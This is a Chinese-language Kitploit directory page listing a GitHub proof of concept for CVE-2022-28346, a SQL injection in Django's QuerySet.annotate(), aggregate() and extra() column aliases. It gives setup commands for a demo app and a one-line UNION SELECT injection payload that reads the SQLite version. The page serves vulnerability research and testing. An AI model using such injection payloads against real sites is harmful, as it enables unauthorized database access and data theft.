Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-28346 — 在 Django 2.2 至 2.2.28 之前、3.2 至 3.2.13 之前以及 4.0 至 4.0.4 之前发现了一个问题。QuerySet.annotate()、aggregate() 和 extra() 方法在通过构造的字典（带字典扩展）作为传递的 **kwargs 时，容易受到列别名中的 SQL 注入攻击。 | Kitploit
工具/GitHubGitHub/vincentinttsh/cve-2022-28346
漏洞分析代码分析漏洞利用Web应用程序漏洞利用数据库安全
GitHubvincentinttsh/cve-2022-28346

CVE-2022-28346

在 Django 2.2 至 2.2.28 之前、3.2 至 3.2.13 之前以及 4.0 至 4.0.4 之前发现了一个问题。QuerySet.annotate()、aggregate() 和 extra() 方法在通过构造的字典（带字典扩展）作为传递的 **kwargs 时，容易受到列别名中的 SQL 注入攻击。

查看仓库
274年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-28346 PoC Tweet

影响：

  • QuerySet.annotate()、aggregate()和extra()中可能存在SQL注入漏洞。

安装

poetry install
python manage.py makemigrations
python manage.py migrate
python manage.py loaddata data.json
python manage.py runserver

PoC

?field=poc.title" FROM "poc_blog" union SELECT "-1,",sqlite_version(),"3" --

poc-image

参考文献

CVE Mitre

Django

下载工具